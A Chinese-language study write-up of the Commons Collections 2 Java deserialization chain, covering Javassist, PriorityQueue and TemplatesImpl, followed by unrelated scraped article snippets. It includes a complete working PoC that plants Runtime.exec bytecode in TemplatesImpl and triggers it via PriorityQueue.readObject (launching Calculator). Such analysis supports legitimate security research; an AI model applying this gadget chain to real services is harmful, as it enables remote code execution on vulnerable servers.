CommonsCollection2

1、前置知识

CmonnosCollection2需要用到Javassist和PriorityQueue

1.1、Javassist

Javassist是一个开源的分析、编辑和创建Java字节码的类库

我们添加依赖看看

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.26.0-GA</version>
</dependency>

我们来看序列化链主要用到的类

1.1.1、ClassPool

ClassPool是一个基于哈希表(Hashtable)实现缓存CtClass对象的容器,所有的CtClass对象都在ClassPool中,其中键名是类名称,值是表示该类的CtClass对象

主要方法

1.public static synchronized ClassPool getDefault() //返回默认的类池
2.public ClassPath insertClassPath(ClassPath cp)//在搜索路径的开头插入一个ClassPath对象
3.public ClassPath insertClassPath(String pathname)//在搜索路径的开头插入目录或jar(或zip)文件
4.public ClassPath appendClassPath(ClassPath cp) //将ClassPath对象附加到搜索路径的末尾
5.public CtClass makeClass(String classname)//返回创建一个新的public类
6.public CtClass get(String classname) //从源中读取类文件,并返回对CtClass
7.public ClassLoader getClassLoader()//获取类加载器

1.1.2、CtClass

Javassit.CtClass是一个class文件的抽象表示。一个CtClass(compile-time class)对象可以用来处理一个class文件,通过ClassPool方法获取

主要方法

1.public void setSuperclass(CtClass clazz)//cc.setSuperclass();设置该CtClass类的父类
2.public void writeFile(String directoryName)
3.public void writeFile(String directoryName)
4.public Class<?> toClass(Lookup lookup)
5.public byte[] toBytecode()
6.public void addMethod(CtMethod m)
7.public void addField(CtField f)

1.1.3、CtMethod

CtMethod:表示类中的方法。主要被类通过addMethod、getDeclaredMethod获取

1.1.5、CtFields

表示类中的字段

1.1.4、CtConstructor

表示类中的一个构造方法

主要方法

1.public void setBody(String src) //设置构造函数主体。
2.public void setBody(CtConstructor src, ClassMap map)//从另一个构造函数复制一个构造函数主体

1.1.6、ClassClassPath

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径

构造方法

 public ClassClassPath(Class<?> c) {
this.thisClass = c;
}

常用方法

openClassfile,通过类名获取

public InputStream openClassfile(String classname) throws NotFoundException {
String filename = '/' + classname.replace('.', '/') + ".class";
return this.thisClass.getResourceAsStream(filename);
}

常用代码实例

//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径
pool.insertClassPath(new ClassClassPath(this.getClass()));

1.1.7、toClass

输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader

public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName());
}

1.18、toBytecode

输出成二进制格式

public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/");
CtClass ctClass = classPool.get("com.akkacloud.demo.HelloDemo");
HelloDemo helloDemo=(HelloDemo)ctClass.toClass().newInstance();
helloDemo.setAge(18);
helloDemo.setName("akka");
System.out.println(helloDemo.getAge());
System.out.println(helloDemo.getName()); byte[] bytes = ctClass.toBytecode();
System.out.println(Arrays.toString(bytes)); }

输出

主要用法

ClassPool主要读取方式

//在默认系统搜索路径获取ClassPool对象
ClassPool pool = ClassPool.getDefault();
//修改搜索的路径,表示当前类的位置
pool.insertClassPath(new ClassClassPath(this.getClass())); //从file加载classpath
pool.insertClassPath("/usr/local/javalib") //从URL中加载
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
pool.insertClassPath(cp); //从byte[] 中加载
byte[] b = a byte array;
String name = class name;
cp.insertClassPath(new ByteArrayClassPath(name, b)); //可以从输入流中加载class
InputStream ins = an input stream for reading a class file;
CtClass cc = cp.makeClass(ins);

输出方式

ClassPool pool = ClassPool.getDefault();
//会从classpath中查询该类
CtClass cc = pool.get("test.Rectangle");
//设置.Rectangle的父类
cc.setSuperclass(pool.get("test.Point"));
//输出.Rectangle.class文件到该目录中
cc.writeFile("c://");
//输出成二进制格式
//byte[] b=cc.toBytecode();
//输出并加载class 类,默认加载到当前线程的ClassLoader中,也可以选择输出的ClassLoader。
//Class clazz=cc.toClass();

新增Class

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Point");
//新增方法
cc.addMethod(m);
//新增Field
cc.addField(f);
//获取move方法
cc.getDeclaredMethod("move")

使用案例

package com.akkacloud.demo;

import javassist.*;

public class JavassistTest {

    public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault(); // 1. 创建一个空类
CtClass cc = pool.makeClass("com.akkacloud.demo.Person"); // 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming")); // 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param)); // 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons); // 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons); // 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod); //这里会将这个创建的类对象编译为.class文件
cc.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/Javassist/src/main/java/"); }
}

1.2、PriorityQueue

PriorityQueue 一个基于优先级的无界优先级队列,优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。

构造方法

//默认创建11容量的PriorityQueue并且排序
private static final int DEFAULT_INITIAL_CAPACITY = 11;
......
public PriorityQueue() {
this(DEFAULT_INITIAL_CAPACITY, null);
}
//指定initialCapacity容量的PriorityQueue并且排序
public PriorityQueue(int initialCapacity) {
this(initialCapacity, null);
}

主要方法

add(E e)           			将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

案例

public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(4);
priorityQueue.add(3);
priorityQueue.add(5);
System.out.println(priorityQueue);
System.out.println(priorityQueue.peek());
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.peek()); }

输出

1.3、getDeclaredFiled

getDeclaredFiled 仅能获取类本身的属性成员(包括私有、共有、保护)

public static void main(String[] args) throws Exception {
Class aClass = Class.forName("com.akkacloud.demo.HelloDemo");
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
} }

输出

1.4、TransformingComparator

TransformingComparator是实现了Comparator接口,Comparator主要对集合对象或数组对象进行排序,需要实现Comparator接口以达到我们想要的目标。其中的compare方法调用了传入transformer的transform方法。

public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
//对传入的参数传入对应的值
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
//compare会调用transform方法,
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

1.5、TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是⼀个可以加载字节码的类(恶意类)

newTransformer

newTransformer会新建TransformerImpl调用getTransletInstance()

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

其中的TransformerImpl就是赋值

protected TransformerImpl(Translet translet, Properties outputProperties,
int indentNumber, TransformerFactoryImpl tfactory)
{
_translet = (AbstractTranslet) translet;
_properties = createOutputProperties(outputProperties);
_propertiesClone = (Properties) _properties.clone();
_indentNumber = indentNumber;
_tfactory = tfactory;
_overrideDefaultParser = _tfactory.overrideDefaultParser();
_accessExternalDTD = (String)_tfactory.getAttribute(XMLConstants.ACCESS_EXTERNAL_DTD);
_securityManager = (XMLSecurityManager)_tfactory.getAttribute(XalanConstants.SECURITY_MANAGER);
_readerManager = XMLReaderManager.getInstance(_overrideDefaultParser);
_readerManager.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, _accessExternalDTD);
_readerManager.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, _isSecureProcessing);
_readerManager.setProperty(XalanConstants.SECURITY_MANAGER, _securityManager);
//_isIncremental = tfactory._incremental;
}

getTransletInstance

如果_name的值为null,直接返回null,如果_class的值为空(private Class[] _class = null;),则进入defineTransletClasses()

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
} return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}

我们进入defineTransletClasses()

首先判断_bytecodes是不是null,是就报错

defineClass方法接受一组字节,然后将其具体化为一个Class类型实例

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

我们发现他创建了一个TransletClassLoader类,AccessController.doPrivileged是一个在AccessController类中的静态方法,允许在一个类实例中的代码通知这个AccessController:它的代码主体是享受"privileged(特权的)",它单独负责对它的可得的资源的访问请求,而不管这个请求是由什么代码所引发的

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

我们继续来看看TransletClassLoader类,defineClass()TemplatesImpl内部的静态类TransletClassLoader被重载了,defineClass方法接受一组字节,然后将其具体化为一个Class类型实例

这里说多一个ClassLoader类的loadClass

通过ClassLoader#
loadClass(String className)这样使用类名来加载类的时候(默认该类没有被JVM加载过)
要经历下面三个方法的调用:
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

我们继续看defineTransletClasses()方法,前面是假如传入的_bytecodes的长度大于1就创建一个HashMap,我们直接进入for循环,首先调用loader.defineClass的方法,创建一个Class类型实例,然后获取他的父类,在判断他的父类的名字是不是等于ABSTRACT_TRANSLET(AbstractTranslet),然后把i赋值transletIndex,transletIndex的默认值是-1。

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount]; if (classCount > 1) {
_auxClasses = new HashMap<>();
} for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass(); // Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
} if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

我们终于回到了getTransletInstance方法,通过defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后再_class[_transletIndex].getConstructor().newInstance()实例化,如果我们传输的是Rce的_bytecodes,那么就会执行代码

if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
} return translet;

2、漏洞复现

2.1、poc

记得先导入依赖

package com.akkacloud;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class CommonsCollection2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列 Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); } }

2.2、poc分析

第一段分析,主要通过javassist去创建了一个类CommonsCollection2Test,静态结构体为恶意代码设置一下父类为AbstractTranslet

为甚么要设置父类为AbstractTranslet

答:上述在TemplatesImpl学习中,把getTransletInstance中的defineTransletClasses()中会判断_class[i]的父类是不是AbstractTranslet

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("com/akkacloud/CommonsCollection2Test");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");

输出来看看,发现我们执行的代码在static静态代码块,该代码块会在类实例化时直接执行

第二段

1、反射创建templatesImpl类

2、把CommonsCollection2Test类(RCE类)转换为字节数组赋值给templatesImpl的属性_bytecodes

3、反射获取并且赋值templatesImpl的属性_name为test字符串

为甚要设置_name为test?

getTransletInstance中会判断_name的值是不是null,空就直接返回null了。

//payload.writeFile("/Users/akka/Documents/study/JAVA-project/ysoserial/CommonsColection2/src/main/java");
byte[] bytes=payload.toBytecode();//转换为byte数组
//String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

我们通过反射输出来看看

//反射获取对应getter方法,并且输出
Method getTransletName = templatesImpl.getClass().getDeclaredMethod("getTransletName", new Class[]{});
getTransletName.setAccessible(true);
Object name = getTransletName.invoke(templatesImpl, new Object[]{});
System.out.println(name.toString()); Method getTransletBytecodes = templatesImpl.getClass().getDeclaredMethod("getTransletBytecodes", new Class[]{});
getTransletBytecodes.setAccessible(true);
byte[][] bytes1 = (byte[][]) getTransletBytecodes.invoke(templatesImpl, new Object[]{});
for (int i = 0; i < bytes1.length; i++) {
System.out.println(Arrays.toString(bytes1[i]));
}

第三段

1、新建一个InvokerTransformer,,通过反射执行一个newTransformer方法

2、新建一个TransformingComparator,通过前置知识的学习我们只需要通过调用TransformingComparator的compare方法就会调用

InvokerTransformer的transform方法就会调用newTransformer方法,就是把我们传入的bytecode实例化,导致RCE

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

第四段

1、创建了一个容量为2的PriorityQueue梳理,并且调用了add方法添加两个元素,我们现在是应该去找怎么调用compare()方法,Poc中是用了priorityQueue类的comparator和queue,并且把templatesImpl(包含了我们用javassist创建的恶意类)赋值给了priorityQueue的queue属性,并且把transformingComparator赋值给了priorityQueue的comparator属性

PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列 Field field2=priorityQueue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(priorityQueue,comparator);//设置priorityQueue的comparator属性值为comparator Field field3=priorityQueue.getClass().getDeclaredField("queue");//获取priorityQueue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});//设置priorityQueue的queue字段内容Object数组,内容为templatesImpl

我们发现siftDownUsingComparator方法中comparator调用了compare,而且其的参数为queue,所以就是我们的用来加载恶意类transformingComparator调用了compare方法,并且参数为queue既我们的恶意数组templatesImpl

哪里调用了siftDownUsingComparator方法呢

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

siftDown方法调用了siftDownUsingComparator方法

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

heapify()方法调用了siftDown方法

    private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

PriorityQueue的readObject方法中调用了heapify()

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject(); // Read in (and discard) array length
s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size]; // Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

终于成功了,重写了我们的readObject

2.3、 利用链

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

2.4、正向调试

首先我们在PriorityQueue.readObject()打上断点,进入heapify()

发现queue为TemplatesImpl类(恶意类),继续跟进siftDown

由于comparator不为空,queue就是x,继续进入siftDownUsingComparator,

发现compatator.compare(),此处的compatator就是TransformingComparator

没错,进入到了我们的TransformingComparator的compare,我们可以看到this.transformer为InvokerTransformer,继续跟进

进入InvokerTransformer后,发现cls为TemplatesImpl,方法为newTransformer,继续进入

进入到了TemplatesImpl的newTransformer方法,继续进入getTransletInstance

发现了反射设置的_name,继续进入defineTransletClasses

成功进入,我们就看看他的参数

发现把我们反射传入恶意类的_bytecodes穿给_class[i], >_class[_transletIndex]>_class[0]

返回getTransletInstance()方法,newinstance后既实例化后成功执行代码

参考链接

https://www.cnblogs.com/rickiyang/p/11336268.html

https://blog.csdn.net/u011425751/article/details/51917895

https://www.cnblogs.com/nice0e3/p/13860621.html

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java

CommonsCollection2反序列链学习的更多相关文章

  1. JDK7u21反序列链学习

    JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...

  2. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  3. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  4. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  5. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

  6. JavaScript原型(链)学习笔记

    javascript是基于原型的一门脚本语言,那究竟原型是什么? 本文将从以下几个方面重点阐述原型 构造函数是什么? 构造函数和我们常见的Array String有什么关系? 原型的使用? __pro ...

  7. JavaScript作用域(链)学习笔记

    作用域是javascript老生常谈的问题,在面试题中也经常出现.此文记录本人对js作用域的理解.从以下三个方面深入探讨js作用域和js作用域链. 1.什么是作用域? 2.什么是作用域链? 3.常见面 ...

  8. 区块链学习笔记:D03 区块链在各行业领域的应用(一)

    今天主要是学习了区块链在金融和供应链领域的应用,重点体现了区块链多方参与.透明可信.防篡改防抵赖的技术优势 区块链的应用场景最早是在金融行业应用较多,后续逐步扩展到传统行业,如:供应链.政务服务.物联 ...

  9. 区块链学习笔记:DAY01 区块链的技术原理

    其实很早之前就听过区块链,也看过有关区块链的介绍,那个时候的理解主要还是一句话:分布式记账 然后开始关注比特币,听了有几年了,对于其来历.用途其实一直都是一知半解. 这次的课算是第一次以一个学员的身份 ...

随机推荐

  1. 【C# IO 操作 】开篇 IO命名空间的解析

    图片模板下载 System.IO命名空间类分为:文件.驱动 .目录.路径.流.比特率流的操作 驱动类:比较简单,所以就不区分静态和实例操作类,所有的操作合并在DriverInfo类中 路径类:比较简单 ...

  2. CSC.exe编译器使用

    如何用CSC.exe来编译Visual C#的代码文件 Visual C#是微软公司推出的新一代程序开发语言,Visual C#是微软公司.Net FrameWork框架中的一个重要的组成部分,也是微 ...

  3. Weisfeiler-Lehman(WL) 算法和WL Test

    Weisfeiler-Lehman 算法 很多论文中会讲,从另一个角度来讲,GCN模型可以看作图上非常有名的 Weisfeiler-Lehman 算法的一种变形.那么什么是 Weisfeiler-Le ...

  4. Python:获取某一月的天数

    import calendarcalendar.monthlen(2021,6)30calendar.monthrange(2021,6)(1, 30) calendar.monthrange( ye ...

  5. (第一章第五部分)TensorFlow框架之变量OP

    系列博客链接: (一)TensorFlow框架介绍:https://www.cnblogs.com/kongweisi/p/11038395.html (二)TensorFlow框架之图与Tensor ...

  6. 关于stationary 和non-stationary signals 的区别和定义

    结论:实际上在生活中是没有静态信号(stationary signals)的.而我们之所以把随机信号分为stationary and non-stationary 完全是根据信号产生的特征(chara ...

  7. 详解Nacos 配置中心客户端配置缓存动态更新的源码实现

    Nacos 作为配置中心,当应用程序去访问Nacos动态获取配置源之后,会缓存到本地内存以及磁盘中. 由于Nacos作为动态配置中心,意味着后续配置变更之后需要让所有相关的客户端感知,并更新本地内存! ...

  8. CF549G题解

    变菜了,一年前做这种题10min出结论,现在对着样例胡半天都没结果 首先考虑从判断无解入手. 定义两个位置 \((i,j)\),若 \(a[i]=a[j]+(j-i)\),则 \(i\) 和 \(j\ ...

  9. Linux环境下安装RocketMQ

    最近在学习消息队列,针对RocketMQ进行了初步研究,这里记录下安装配置的过程,与大家共同分享 一.选择合适的版本 注:安装.运行过程中需要依赖JDK,因此安装之前需要保证当前linux环境下具备上 ...

  10. git 回滚方式

    git push 命用于从将本地的分支版本上传到远程并合并. 命令格式如下: git push <远程主机名> <本地分支名>:<远程分支名> 如果本地分支名与远程 ...